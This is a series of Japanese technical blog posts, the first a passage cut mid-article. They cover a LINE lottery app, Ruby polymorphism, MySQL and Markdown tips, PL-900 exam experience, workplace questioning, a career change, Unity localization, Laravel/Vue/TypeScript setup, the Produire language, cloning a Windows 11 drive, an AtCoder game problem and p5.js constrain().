
FirebaseのFirestoreにはrunTransactionとうい、排他制御を可能にする関数が用意されており、これを使うことで実現しております。

https://firebase.google.com/docs/firestore/manage-data/transactions?hl=ja

![ezgif-1-9b1732deff29.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/147291/e81928c5-c558-96b8-13f2-13dcfaeb50ce.gif)

100msで処理を続けて実行した場合でも問題なく処理できました。

# まとめ
これまでWEBやネイティブで実現できる抽選会はありましたが「LINEで抽選会ができるアプリ」は無かったので作りました。リリース後は実際に、ショッピングモールや自治体などでも導入していただきました！

LINEは多くの人のスマートフォンに既に導入されている基盤のため、LINEのプラットフォームの乗っかることで、ネイティブのアプリをインストールさせたり、メール・パスワード認証をさせる必要がないという体験がユーザーが導入するときのハードルをグッと下げています。

LINE APIはドキュメントは仕様についてとても詳細に記載されているため初めて何かを作る方にもオススメできるAPIです！またコミュニティの活動なども活発なので、皆さん何か作って世の中に出してみるとよいかもしれません。
僕も Ruby で ポリモーフィズム やってみた

# はじめに
前回の記事 [Ruby 多重継承 Mix-in](https://qiita.com/superrino130/items/3da663bcebe7e396e51f) でクラスの継承が気になっていたところ [ポリモーフィズムの記事](https://qiita.com/kat0/items/30596c55a7f043ee56aa) がありましたので、やってみました。
# 継承版
```ruby
class Animal
  def cry(voice: '')
    puts "#{voice}"
  end
end

class Dog < Animal
  def cry(voice: 'わんわん')
    super
  end
end

class Cat < Animal 
  def cry (voice: 'にゃー')
    super
  end
end

Dog.new.cry
Cat.new.cry
```
流石にもろコピペは回避いたしましたが、`Java`で散々やったパターンです。
# 合成~~ダックタイピング~~版
```ruby
class Animal
  def self.cry(animal)
    puts animal.cry
  end
end

class Dog
  def cry(voice: 'わんわん')
    voice
  end
end

class Cat
  def cry (voice: 'にゃー')
    voice
  end
end

Animal.cry(Dog.new)
Animal.cry(Cat.new)
```
発想の転換なのかわかりませんが、継承版の方はメソッド側が変化しているのに対し、合成~~ダック~~版はオブジェクト側が変化しています。
でも、これの分岐テストってどうやるんでしょうね。

```ruby
module Animal
  def self.cry(animal)
    if animal.instance_of?(Dog)
      puts 'わんわん'
    elsif animal.instance_of?(Cat)
      puts 'にゃー'
    end
  end
end

class Dog; end

class Cat; end

Animal.cry(Dog.new)
Animal.cry(Cat.new)
```
やっていることは同じだけど**ダメな例**です。
`class`が増えるたびに`elsif`を追加する必要がある~~けど追加忘れしたりする~~パターンです。
合成~~ダック~~版は`class Animal`を触る必要がないところが素晴らしいです。

```ruby
class AnimalCry
  def cry(Dog)
    puts 'わんわん'
  end
  def cry(Cat)
    puts 'わんわん'
  end
end

class Dog; end

class Cat; end

AnimalCry.new.cry(Dog.new)
AnimalCry.new.cry(Cat.new)
```
`C#`だったらこんな感じで通ったような気がします。
引数の型や数を変化させることで同じメソッドが設定できたはず。
`Ruby` だと通りませんが。

~~ダックタイピングって今一理解できなかったのですが、ポリモーフィズムの観点で掴めた様な気がします。~~
コメント欄にて、@obelisk68 さんと @kts_h さんにいろいろとアドバイスいただき、ありがとうございました。

継承と合成で参照した記事
[Goやるなら知っておきたい「Composition over inheritance」](https://qiita.com/kskinaba/items/903967dc8997e7d7444a)
# まとめ
+ @kat0 さん、ありがとう
+ OOPに詳しくなった
MySQL バージョン確認方法

# 目的

- MySQLのバージョン確認方法をまとめる

# 方法

1. ターミナルからの確認
    1. 下記コマンドを実行してMySQLのバージョンを確認する。

        ```terminal
        $ mysql --version
        ```

1. MySQLにログイン後にSQL句を用いての確認
    1. MySQLにターミナルからコマンドでログイン後、下記SQLを実行する。

        ```sql
        mysql> select version();
        ```
Markdown 特殊文字をエスケープする 個人メモ

# 目的

- Markdownにて特殊文字をエスケープする方法をメモ的に記載する。

# 方法

- エスケープしたい文字列の前に`\`バックスラッシュを入力する。

# 例

- Markdownにて「`\`（バッククオート）」を文字列として表現したいときは下記の様に記載する。

    ```
    \`
    ```
経営者がPL-900に合格する為に学んだ事

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/140547/ac43feaf-dfb1-a1f4-b976-9c1470f6d2bb.png)

#2021年11月20日（土）秋葉原試験センターにて
**「あーーーーー！！！良かった！合格だ。」**
恥ずかしながら47歳にして、初めてMicrosoftの認定試験を受験して合格した瞬間でした。

私は普段、経営者と言いう立場で、Power Platformを利用しています。（元デザイナーで、非プログラマーです）
47歳のビジネスサイドの私が、どうして試験を受ける気持ちになったのか、どうやって試験対策をしたのか、体験談を共有したいと思います。

##取り組んだ理由
まず第一に、**「日頃の取り組みの成果を、きちんと形にしてみたい」**という気持ちが強かったです。

小規模の開発会社なので、バックヤードの業務は日々効率化するように心がけていて、そのなかでPower Appsなどのアプリケーションに触れてはいますが、やはり利用するシーンは限定的です。
それを補う為に、毎週金曜日にPower Platformの勉強会（おうじゃさんといっしょ）に参加しています。

参加者の皆さんから共有していただく情報が大変勉強になっており、既に合格された方々から、背中を押してもらったのも大きかったです。

学習を継続的に取り組むことは、モチベーションの維持も含めて難しいので、こういう習慣にできる**「勉強会」**に参加することは、とても良いと思います。

勉強会と聞くと、少し敷居が高いと思われるかも知れませんが、皆さん優秀なのにGiverで優しい方が多いです。きっと暖かく迎え入れてくれますので、変に気を張らずに参加してみてください。

第二は、社内でも**Power Platformの資格取得を推奨**しておりまして、自分から率先的に取り組む姿勢を、スタッフに共有したかったこともありました。

常々話していますが、勉強はいくらやっても会社には何も残りません。個人に知識や価値として残るだけなので、取り組んで絶対に損はしないと思っています。

##学習に利用したコンテンツ

###Microsoft Learn 
試験対策としては、Microsoft Learnを中心に、手を動かして覚えました。
管理系の機能は、使ったことがない所も沢山ありましたし、今後は他のPLシリーズの試験も受けたいと思っていたので、ちょうど良かったです。

◼︎Power Platformの基本
https://docs.microsoft.com/ja-jp/learn/paths/power-plat-fundamentals/

ただ実際のPL-900の試験には、Power Appsのフィルターの使い方などは出題されません。あくまで製品群に関する概要なので、「こういう場合には、どの製品が向いてるか？」とか、「この製品では、どんな事が出来るか？」とかが多かったと思います。

###Microsoft Power Platform Fundamentals 試験対策
Microsoftから提供されているPL-900の試験範囲を解説してくれる動画です。
本当に素晴らしくまとまった解説動画で、実際の試験でも、ここで解説してくれたテスト問題は、かなり出題されたと思います。
3時間くらいありますが、試験前には見ておいた方が良いでしょう。

https://info.microsoft.com/JA-PowerApps-WBNR-FY21-05May-03-MKTOFY21PL900PrepSessionOndemandWebinar-SRDEM73329_LP02OnDemandRegistration-ForminBody.html

###Exam Topics
PL-900の試験問題を、まとめてくれているウェブサイトです。すべて英語なので、翻訳機能を使って利用すると良いのですが、唯一の欠点は回答が間違ってるところがあります、、、
表示される回答は信じず、Discussionボタンを押して、有識者が回答を議論した結果をみて判断しましょう。

https://www.examtopics.com/exams/microsoft/pl-900/


##PL-900試験内容と当日の対策

**＜出題範囲＞**
•Power Platform のビジネス価値についての説明（ 15% 20%
•Power Platform のコアコンポーネントの特定（ 15% 20%
•Power BI のビジネス価値の実証（ 15% 20%
•Power Apps のビジネス価値の説明（ 15% 20%
•Power Automate のビジネス価値の実証（ 15% 20%
•Power Virtual Agents のビジネス価値の実証 (10 15
**＜問題数＞**
40問
**＜試験時間＞**
60分

各アプリケーションについての問題は、満遍なく出題されます。
Power Virtual Agentsは、殆ど出なかったお話も聞きましたが、きちんと学んでおきましょう。

後は、PL-900と言いながら、Dynamicsに関する問題も少し出題されるのと、個人情報に関する事も、範囲を超えて出題されました💦
ちょっとこれには驚きました‼️

問題数は40問で60分なので、結構短いです。
私は40分くらいで解き終わって、見直しに20分使いました。
初めて受講する方へのTipsとしては、**「後で見直す」ボタン**がありますので、悩んだらこの機能を使って、先にわかる問題の解答を進めた方が良いです。

##受講に関する注意事項
最後に、初めて受験される方への注意事項としては、以下が挙げられます。

- 当日は写真撮影あるので、身支度には気をつけてください。私は休日の朝の試験だったので、気を抜いて、やや？寝癖気味で行ってしまい、酷い写真になりました笑

- 自宅と試験会場で受験する事が出来ますが、自宅の際には環境に注意してください。当日カメラで試験を受ける環境が整っているのかチェックが入りますが、モニター類などがある場合には、その部屋では受けることが出来ません。私も会社の会議室で受けようとしましたが、すりガラスで囲われている会議室だったので、受講に適さないとのことで、直前で取り止めになったことがありました。コロナ禍ではありますが、確実に試験を受けたければ、試験会場をオススメします。

- 合否は終了時間と同時に、その場で画面に表示されます。心の準備の時間はありません笑

##試験を受けてみての感想
チャレンジしてみて良かった事は、知識としてインプットしたものを、資格という形に出来たことです。改めて学び直したこともあり、更に知識が深まったので、今後の社内改善にも活かせそうなのも嬉しいですね。

Power Platformは、一般職の方々が日々の業務改善に活かせるアプリケーションです。触れる機会があれば、ぜひ何か作成してみて、次は資格という形にチャレンジしてみてください。

長文になりましたが、読んでいただいて、ありがとうございました。何かの参考になれば幸いです。

p.s.
私が合格した翌週に、自社のスタッフからも合格の連絡を貰って、こういう輪が社内で広がっていってくれたら嬉しいなー！と思いました。
質問できるひとは強い

[2021.11.30 にtwadaさんの講演を聴く機会がありました](https://twitter.com/e99h2121/status/1465494542841352196?s=20)。
参考: [【感想文】t_wadaさんがやってきた - Qiita](https://qiita.com/takeC74/items/52f45d3f30d56e01df3e)

> Q. 「認知負荷の高いコードを読み解ける人」が「頑張って」修正をこなしてしまうことが現場では称賛され得るが、遠回しに自分達の首を絞めていると思います（= 危険性が減っていない) どうしたらいいでしょうか？

> A. レガシーコードの怖いことはだんだんなれていくこと。新人や若手の役割が重要になっていく。日々、チームメンバーが**わからないことを分からないと表明していくことがとても大事である**。 

（ざっくり目ですが）などという問答がありました。



## Long, long ago.

質問をすることが怖かった時代がありました。または質問するのは勉強不足だとか言われたこともありました。今でも質問するには15分ルールだなどという言説もあります。自分もこんなことをまとめました。
[効果的に質問をしたい人のための質問テンプレート、不吉なワードチェックリスト、15分ルール - Qiita](https://qiita.com/e99h2121/items/95129fe0e94d2ed1120b)

が最近、15分は個人的には「できるひとたちの集団（= Googleが元ネタなので）」ならそれでいいかもしれないが、もしかしたら我々には15分でも少し長いのでは、などとすら思っています。

[育児していたからこそエンジニアのお仕事に役立ったこと10選 - Qiita](https://qiita.com/e99h2121/items/db7e54c111ffcd3c3957)
で自分より経験のない者の気持ち、新人さんに対する見方などということを書きました。それです。


## 「聞くは一時の恥、聞かぬは一生の恥」

「聞くは一時の恥、聞かぬは一生の恥」という言葉があります。
本来、質問はむしろ良いことしか無いのでその質問することのメリット3つを書いてみます。

**1. 質問したことそれ自体の答えが当然わかる。**
**2. 皆もよくぞ聞いたと思ってくれる。**
**3. もしかしたらとても勇気のある人だ、と思われるまである。**

質問をする機会というのはどうしても若者のほうが多くなりがちです。で、「つまんねえ質問をするな」なんていうのは大人側の理屈です。しかしそういう大人、ハッキリ言って、そちら様の性格がよろしくないだけだからそれでよいのです。質問をすることは恥ずかしいなんて言って引っ込んでいても一生知らないより全く良いです。新人さんも、新人に限らず無知の者も、レビュワーとして「わかりません」というのが何よりお仕事ということです。

質問できるひとは強い。質問することには得しか無いのです。種明かしをすると以上、澤円さんのラジオで聞いて本当にそうだと痛快に共感した話です。

https://twitter.com/madoka510/status/1464134625920438273?s=20

## Now. 

「そんなことも知らないの？」そう考える方が全くよろしくないし、「評価が下がるかも？」誤った評価を受け続けるより全く良いです。よくぞ聞いてくれたと皆から思われたいし、むしろ良い質問をしたいです。

ラジオ内で「デジタルトランスフォーメーション」の略が何故「DX」なのかに触れられていますが、それは私も知りませんでした。笑　以下記事でも議論されています。お二方とも「強い」。

[ＤＸとは？ - Qiita](https://qiita.com/takeC74/items/9cf4f3d6a507917f5172)
[ＤＸとは？　何の略ですか？ - Qiita](https://qiita.com/momotaro_monkey/items/e67b0155f85bc89a5d1a)

ちょうど共感できる記事。追記

https://qiita.com/hanhan1978/items/6371b69f84d894b0a3c1

質問できるひとは強いです。わからないことを分からないと言ってレガシーコードに立ち向かいたい。
以上です～。
エンジニアに転職して３週間が経ちました

# 自己紹介
* 年齢：３７歳
* 前職：会計業界→フリーランスでHP制作
* 使用言語：VueとLaravel

# 就活について
就活の媒体はWantedlyのみで、探してました。
ポートフォリオはVueとLaravelで作りましたが、WEBアプリ開発の実務経験はゼロでしたので、年齢的なこともあり、かなり苦戦することを覚悟していました。
しかし今の会社の選考がありがたいことに順調に進み、私自身もぜひ入りたいと思っていたので、内定を頂いたと同時に他の選考を辞退して、就活をはじめてから３週間程度で決まりました。

# 入社後〜３週間
そして晴れて入社することになるのですが、周りのレベルの高さに震えました。。。
まず言っていることが分からない。
理解しようと必死に食らいつこうとするも、分からなすぎてどんどん頭が真っ白になっていきます。さらに追い討ちをかけるように、

* 慣れない、USキーボード（慣れるとこちらの方が早いらしい）
* 初めて使う、高機能エディター
* 馴染みのない、プロジェクト管理ツール

が私をますますポンコツにしていきます（笑）。

現実はぜんぜん笑えなくて、出来なさすぎて特に落ち込んだ日は、家に帰ってふとした瞬間にとうっすらを頬を伝うものがありました。
でもタスクの期限は刻々と迫っていて、長々と凹んでいるワケにもいかなかったので、Udemyでもお世話になっている[山浦先生の励まし動画](https://www.youtube.com/watch?v=zj6o2AlNueo&list=RDCMUC452hry4DI_pDn_CVT9ZKhQ&index=2)を見てなんとかムリやりにでも気分を上げて乗り切りました。

# グットポイント
怒涛の３週間でしたが、転職して感じた、グットなポイントを挙げてみたいと思います。

1. 　モダンな技術に携われる
    * フロントエンドはVue/Nuxt、開発プラットフォームはAWS　Amplifyを取り入れていたりと、比較的新しい技術の実務を学べること。
    
2. 　フランクな人間関係
    * とにかくいい人ばかりの職場でよかったです。業務のキャッチアップに加えて、人間関係のストレスまで乗ってくるとかなりキツかったと思います。。。
    * かなりストレートにお互いの意見が交わされます。上司も部下も関係なく。それでいて、次の瞬間はお互い笑って雑談しています。ここはラテンの国か何か？と最初はびっくりしましたが、あまりにもそれが日常的に自然に行われているので、数日で慣れて心地よくなりました。

# この記事の続編
入社して３週間を終えての備忘録的な記事になってしまいましたが、半年後に続編を執筆予定です。
こんな状態からどのように改善していったかをお伝えできればと思いますし、それが記事の途中で紹介した山浦先生の動画のように誰かの役に立てばうれしいなと思います。
UnityEngine.Localizationをスクリプトから呼ぶ(2)

[前回](https://qiita.com/ELIXIR/items/91bd827cfc312e38b1b8)はUnityのローカライズイベントが呼ばれたときに文字列を差し替えるというものでしたが、今回はスクリプト中で任意の文字列を表示する、というものになります。
メッセージ中で文章を分岐させるときなどに使用できるのではないかと思います。
また前回と違い、TextMeshProにローカライズ用スクリプトをアタッチする必要はありません。もちろんアタッチされていても問題ありません。

文字列テーブルコレクションは下記のように作成しておきます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/c9491411-97f0-9a02-a068-31d3eafdc155.png)

次に、表示するためのUITextを用意します.今回はTextmeshProを使用しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/8568659c-e3fa-fd77-fbbd-989c8984805e.png)

日本語その他の言語を切り替えて表示できるようにするためには、フォントを切り替えておく必要があります。
TMPフォントの場合はFallback設定をしておくのが便利です（[動画](https://youtu.be/CRQuiltI06o?t=1676)参照）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/a37d421e-1c4a-783a-b6fa-7990f60ecf0f.png)

次に、カラのオブジェクトを用意して下記のコードを貼り付けます

```
using UnityEngine;
using TMPro;

public class LocaleTest : MonoBehaviour
{
    [SerializeField] TMPro.TMP_Text m_text;
    [SerializeField] UnityEngine.Localization.LocalizedStringTable m_table;

    // Start is called before the first frame update
    void Start()
    {
        UnityEngine.Localization.Tables.StringTable keyValuePairs = m_table.GetTable();
        string str = keyValuePairs["GM_GREETING"].Value;
        m_text.text = string.Format(str, "World") + "!!";
        m_text.text += $"\n{keyValuePairs["GM_BYE"].Value}";
    }

    // Update is called once per frame
    void Update()
    {
    }
}
```

実行するとこうなります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/5e0aaf5e-b446-57cf-674e-23f5394fc491.png)

GM_GREETINGで設定したテキストとGM_BYEで設定したテキストが両方表示されているのがわかると思います。
Laravel8+Vue3+TypeScriptの環境構築

## はじめに
Laravel8+Vue3+TypeScriptの開発環境構築方法についての記事となります。
紹介するのは**laravel/ui**を使用した方法となります。

## 環境構築

### Laravelプロジェクト作成
記事投稿時点ではLaravelの最新は8系ですが、
9系リリースされても8系でプロジェクト作成されるように末尾でバージョン指定しています。

```
composer create-project laravel/laravel example-app "8.*"
```

### Vueインストール

laravel/uiを使用してLaravelプロジェクトにVueをインストールします。


```
composer require laravel/ui
```

認証機能が不要であれば--authは外してください。

```
php artisan ui vue --auth
```

### Vue2からVue3に変更

laravel/uiでインストールしたvueが2系なので3に変更する必要あります。
(一応package.jsonでVueのバージョンを確認してください)
vueはバージョン指定でnextを指定するとvue3系をインストールすることができます。
vuexやvue-router等のパッケージも同様

```
npm uninstall vue-template-compiler
```

```
npm install -D vue@next vue-loader@~16 @vue/compiler-sfc
```

### TypeScriptインストール&設定

**必要パッケージインストール**

```
npm install -D typescript ts-loader
```

**tsconfig.json新規作成**
TypeScriptコンパイル時の設定ファイルですが、
このファイルが無ければコンパイルができないのでプロジェクト直下に作成します。
(下記内容はVueの公式推奨のものを使用)

```json:tsconfig.json
{
    "compilerOptions": {
        "target": "es5",
        "strict": true,
        "module": "es2015",
        "moduleResolution": "node"
    }
}
```
**app.js修正**

app.jsをapp.tsに拡張子変更して内容をVue3で書き直します。

```ts:resources/js/app.ts
import { createApp } from "vue"
import App from "./App.vue"

createApp(App).mount("#app")
```

App.vueは各自好きな様に作成して頂いて構いませんが、
サンプルとして後述しています。

**shims-vue.d.tsファイルを新規作成**
.vueファイルを認識できるようにshims-vue.d.tsを作成します。
こちらも記述しないとimportでエラーが発生します。

```ts:resources/js/shims-vue.d.ts
declare module '*.vue' {
  import type { DefineComponent } from 'vue'
  const component: DefineComponent<{}, {}, any>
  export default component
}
```

**mix修正**

コンパイル対象ファイルを指定するjsメソッドをtsメソッドに変更し、
先程app.jsの拡張子変更したので.tsに変更します。

```diff:webpack.mix.js
- mix.js('resources/js/app.js', 'public/js')
+ mix.ts('resources/js/app.ts', 'public/js')
    .vue()
    .sass('resources/sass/app.scss', 'public/css')
```

## 動作確認

環境構築は完了したので最低限Vue3とTypeScriptが動作するか確認します。

**ルーティング**

```php:web.php
Route::get('/', function () {
    return view('index');
});
```

**ビュー**

```php:index.blade.php
<!doctype html>
<html lang="{{ str_replace('_', '-', app()->getLocale()) }}">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <!-- CSRF Token -->
    <meta name="csrf-token" content="{{ csrf_token() }}">

    <title>{{ config('app.name', 'Laravel') }}</title>

    <!-- Scripts -->
    <script src="{{ asset('js/app.js') }}" defer></script>

    <!-- Fonts -->
    <link rel="dns-prefetch" href="//fonts.gstatic.com">
    <link href="https://fonts.googleapis.com/css?family=Nunito" rel="stylesheet">

    <!-- Styles -->
    <link href="{{ asset('css/app.css') }}" rel="stylesheet">
</head>

<body>
    <div id="app"></div>
</body>

</html>

```

**Vue**

```vue:resources/js/App.vue
<template>
<div>
{{ message }}
</div>
</template>

<script lang="ts">
import { defineComponent, ref } from "vue"
export default defineComponent({
    setup(){
        const message = ref<string>("Hello TypeScript")
        return {
            message
        }
    }
})
</script>
```

以上となります。
不足がありましたらご指摘頂けたら幸いです。
プロデル1.9でやること

[日本語プログラミング言語プロデルアドベントカレンダー2021](https://qiita.com/advent-calendar/2021/produire)最終日ということで僭越ながら書かせて頂きます。

世の中的には、去年に続いて大変だった今年ですが、プロデルは相変わらず小さな変化を続けてきました。

プロデル1.7では、名詞手順絡みなどで言語仕様として決め切れていなかった部分を決め、大幅に言語処理系を手直ししました。

- [プロデル1.7を正式リリースしました](https://wp.utopiat.net/2020/03/1084/)
- [プロデルで日本語らしくプログラミング – 助詞「の」](https://wp.utopiat.net/2020/09/2427/)

この改良は、破壊的な変更も含めて大がかりな物でしたが、仕様変更に戸惑ったユーザさまのコメントがTwitterで見受けられました。結果的に、改変した仕様を1.6の仕様に戻し、また実験的要素を排除した安定版1.8を平行リリースするということを致しました。また公開前テストもマニュアルやブログ記事のコードを用いて正確な結果検証も行い、量・質共に大幅に改善させて頂きました。

今年感じたのは、私がプロデルの実際のユーザ数を低いと思い込んでいたのではないかということです。プロデルはマイナー言語ですが、プロデルのユーザさんは控えめで、おとなしい方が多いのかもしれません。表でプロデルを日常的に使っているということを言って頂ける方は少なく、多少の破壊的変更は問題ないだろうと思い込んでしまいました。正確な事は言えませんが、1.7の件での反応を見ていると、私が思ったよりもプロデルを使っている方が実際には多いかもしれない、と何となく思い始めています。

ですのでぜひ、Twitterなどでプロデルを使っているよ！ということをPRしたりフィードバックしたりしてもらえたら嬉しいです。黙って使っているだけではプロデルは変わりません。

さて、来年はどんな年になるでしょうか。世の中がどうなるかはわかりませんが、プロデルは次の1.9をリリースするつもりでおります。

プロデル公開から14年ほどとなり、プロデルの基本的な構成や考え方が古くなってきました。

- プロデルデザイナは基本的な部分は公開当初から変わっておらず、モダンからはほど遠くなってしまいました。
- ランタイムエンジンもスミレ畑のようなWebブラウザの世界やストアアプリ環境では、設計に無理が出てきました。
- プログラムを解析するパーサも、改良を重ねたことでゴチャゴチャになっているので、新しい文法に対応するには整理が必要です。

また、大きな部分ではプロデルのベース環境となっている.NET Frameworkが4.8最後に収束し、.NET Coreを系譜とする.NET 5/6へ移行しつつあります。それまでWindows主体だった.NET Frameworkに対して.NET CoreではLinuxやmacOS、その他の多くのデバイスで動作させることを念頭に置かれた設計となっています。TTSneoやプロデルはWindowsにべったりなプログラミング言語でしたが、この動きによって大きな転機を迎えています。

もちろんプロデルで作られたこれまでのプログラムはそのまま実行できることを維持するつもりでいますが、スミレとも関係性も大事にしながら、変えていく必要があると思っています。

具体的な事はまだ何もわかりませんが、プロデル1.9でやることを抽象的にですが挙げていきました。

今年、プロデルアドベントカレンダーを設置して頂きましたnipo様, また記事を投稿して頂いたSANEI MEDIA CREATIVE様, 雪下様に感謝致します。

そして、来年もプロデルユーザさまにとって良い一年となりますように。

メリークリスマス:santa_tone1:
そして良いお年を！:bamboo:
windows11  が　クローンされたnvme で立ち上がる



クローン元は
HPのデスクトップ（以下 Aと記載）で　clover 起動です

このマシンAを
endevour Linux の　インストール用USB　で起動したあと
nvme0n1 を 
nvme1n1 （この　nvmeを　以下Xと記載）に
dd でクローンします


このXを　R410というサーバーに取り付け　（これも　clover 起動）
![IMG_20211206_034344.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/211097/306ef95e-5889-d9c4-c070-200feb36ef5c.jpeg)

![2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/211097/f1148a65-d9b9-8abf-99fa-cb0a0cf701d4.jpeg)


すると　そのまま
この　**dual Xeon** マシン　で
![IMG_20211206_034419.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/211097/adf963ca-f0af-25e4-4834-f124d123854f.jpeg)
windows 11
が起動します

## 驚きました、インストせずにすむわけですから

```
なお　cloverのメニューを出すときは
起動時
F7　キーを　ペコペコ押したらいいです

```

すると以下です
![1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/211097/1c21d925-d0c4-1e1f-f630-9c4215b902e1.jpeg)




https://qiita.com/tyokai/items/6e7ce7f6de8fa16823cd
も参考に

--------------
--------------
--------------


![Photo Marker_20211206_043631.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/211097/84a72f8f-c3d5-08d3-1cf3-364d57e13cd6.jpeg)


Highlight:
Model: BT20A
Power amplifier chip: TPA3116D2*2 NE5532*2
DC Input Range: 12-24V
Terminating Impedance: 2 Ohm - 8 Ohm
MAX Power Output: 100W x 2 (4 ohm/24V Load)
THD ≤ 0.04%
Frequency Range: 20Hz - 20kHz (±1 dB)
SNR ≥ 98dB
Input Sensitivity ≤ 280mV
Input Mode: Bluetooth & RCA
Bluetooth version: Bluetooth 5.0 (30m without obstruction)
Bluetooth chip: Qualcomm QCC3003


Package Include:
*BT20A Bluetooth Amplifier x1
*User Manual x1



いつの日にか
https://www.youtube.com/watch?v=c1_ud_7HAXQ
ここにいきたい
![1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/211097/0e8ba710-9f4c-e32e-b73a-2582390dd911.jpeg)
ARC 131 - C Zero XOR

https://atcoder.jp/contests/arc131/tasks/arc131_c

$ $
$A_1,A_2,\dots,A_N$の数列があり、2人のプレーヤーが一つずつ取っていく。
残った数のXORが0なら勝ち。先手必勝か先手必敗か。

エスパーかなと思いつつなんとかDPしたが当然TLE
典型90問の頃から忘却していなければ、ACできてたかも。

#やったこと

XORが0になる数の組み合わせを色々つくった。以下２進数表記。
「011, 101, 110」… 3つのXORが0
「001, 010, 100, 111」… 4つのXORが0
「000011,000101,000110,011110,101110,110110」… 初めの3つのXORが0だが、後の4つでも0。7つ全部でも0。
あわせて0になる数の組み合わせが閉路になるようにグラフを作って、強連結成分分解？
奇数の成分となる閉路の数を数える？

$ $ということで、残りの数のXORを状態にして0になるループの組み合わせを数えてたら時間切れになった。アリバイに提出したコードはTLE。
$A_i$の上限は$2^{30}$程度なので、たとえば$A_i = 2^{i-1} (i=1,2,\dots,30)$ だと30要素しかないのにとりうる状態の数は$2^{30}$。間に合うわけがない理由はコンテスト後に明らかになった。

#基本に帰る

XORに拘るのはほどほどにして、ゲーム問題として基本的な考察をすべきであった。

ゲーム問題の基本とは、

+ 先手が勝ちの状態に１手で遷移できるのであれば先手必勝
+ 先手から遷移できる状態が全て後手にとって必勝なら先手必敗(後手必勝)

そして、考察の基本

+ 極端な場合から考える

#N=1

$ $極端な場合。カードが1枚しかないとき。
$A_1≠0$なので負けの状態ではない。
先手がその1枚を取って、残り0枚のXORは0なので先手必勝。

#N=2

$A_1 ≠ A_2$なので$A_1\;xor\;A_2≠0$であり負けの状態ではない。
先手が2枚のうちどちらを取ってもN=1の場合に帰着する。
N=1が先手必勝なのでN=2は先手必敗。

#N=3

$ $制約より$A_1\;xor\;A_2\;xor\;A_3≠0$であり負けの状態ではない。
先手が3枚のうちどれを取っても、残った数を$A_i,A_j\;(i≠j)$とすると$A_i ≠ A_j$なので$A_i\;xor\;A_j≠0$。よってN=2の場合に帰着する。
N=2が先手必敗なのでN=3は先手必勝。

#N=4

$ $制約より$ XOR_{i=1}^4 A_i≠0$であり負けの状態ではない。
先手が4枚のうちどれを取っても、残った数を$A_i,A_j,A_k$とすると$A_i\;xor\;A_j\;xor\;A_k≠0$。よってN=3の場合に帰着する。よって先手必敗
**かというとそうではない。**

先ほど挙げた「011, 101, 110」が残る場合など、XORが0になる場合が存在する。

1枚とった後のxorを0にすることができれば先手必勝。
できなければN=3の場合に帰着し先手必敗。

#N=5

1枚とった後のxorを0にすることができれば先手必勝。
できなければN=4の場合に帰着する。つまり、「先手が1枚取って後手が1枚取った後に0にできれば先手必敗、できなければ先手必勝」。
少し言い換えると「先手がどの1枚を取っても後手が1枚取って0にできれば先手必敗、できなければ先手必勝」

#N=N

1枚とった後のxorを0にすることができれば先手必勝。
そうでない場合、先手がどの1枚を取っても後手が1枚取って0にできれば先手必敗、できなければ$N-1$の場合に帰着。

$ $ここで考察が必要。添字のつけ方は任意であるから分かりやすいようにする。
先手が$A_1$をとったら後手が$A_2$をとって残りのxorを0にできるとする。
$XOR_{i=1}^N\,A_i=x\,(≠0)$とすると、$A_2 = x\;xor\;A_1\,(≠A_1)$で一意に定まる。
先手が$A_2$をとったら後手は$A_1$をとればよい。
同様に、先手が$A_{2k-1}$をとったら後手が$A_{2k}$をとれば勝てることにする。
$N$が偶数の場合、これを繰り返して$A_{N-1}\,xor\,A_N$までペアリングできるかもしれない。
しかし、奇数の場合は$A_N$が余り、先手が$A_N$を取ったときに後手が勝てる数が割り当てられない。よって、$N$が奇数の場合は「先手がどの1枚を取っても後手が1枚取って0にできる」状態は存在しない。なので、

1枚とった後のxorを0にすることができれば先手必勝。
そうでない場合、~~先手がどの1枚を取っても後手が1枚取って0にできれば先手必敗、できなければ~~$N-1$の場合に帰着。

#再構成

##N=1

先手必勝

##N=2

先手必敗

##N=3

先手必勝

##N=4

1枚とった後のxorを0にすることができれば先手必勝。
できなければN=3の場合に帰着し先手必敗。

##N=5

1枚とった後のxorを0にすることができれば先手必勝。
できなければ~~先手がどの1枚を取っても後手が1枚取って0にできれば先手必敗、できなければ~~
先手必勝

##N=6

1枚とった後のxorを0にすることができれば先手必勝。
できなければN=5の場合に帰着し先手必敗。

##まとめ

###Nが奇数

先手必勝

###Nが偶数
1枚とった後のxorを0にすることができれば先手必勝。
そうでない場合、先手必敗。

#Take Home Message

エスパーはしようと思ってできるものではないので、一番基本から順番に考えましょう。
p5.jsの関数まとめ part.5 constrain()

この記事は Qiita p5js アドベントカレンダー6日目の記事です。

## これはなに
p5.jsが用意している関数について理解を深める記事です。
今回はconstrain()について。

## constrain()
動的な数値(mouseXなど)をconstrainに渡すと、指定した範囲を超えない数値を返してくれる関数です。
地味ですがすごく面白い機能だと思います。

### リファレンスより
> Constrains a value between a minimum and maximum value.

> 最小値と最大値の間で値を拘束します。(DeepL翻訳)

### Type
```typescript
 constrain(n: number, low: number, high: number): number;
```

引数
- n 基本的にここは動的な値を渡すことになります。
- low 返す値の下限を設定できます。
- high 返す値の上限を設定できます。

nがlowを下回ったり、highを上回ったりしたとしても、
constrainからは必ずこの範囲の数値が返ることになります。

## どんな時に使えそうか
以前私はp5を使ってこんなものを作りました。
https://twitter.com/TENTEN11055/status/1464353772088401921

これは三角形が0からframeCountの数値の間の大きさで描画されていくものです。
ただ画面を覆い尽くすほどの大きさは欲しくなく、ある程度で止まってほしかったのですがレンダリングを止めるわけにもいきません。

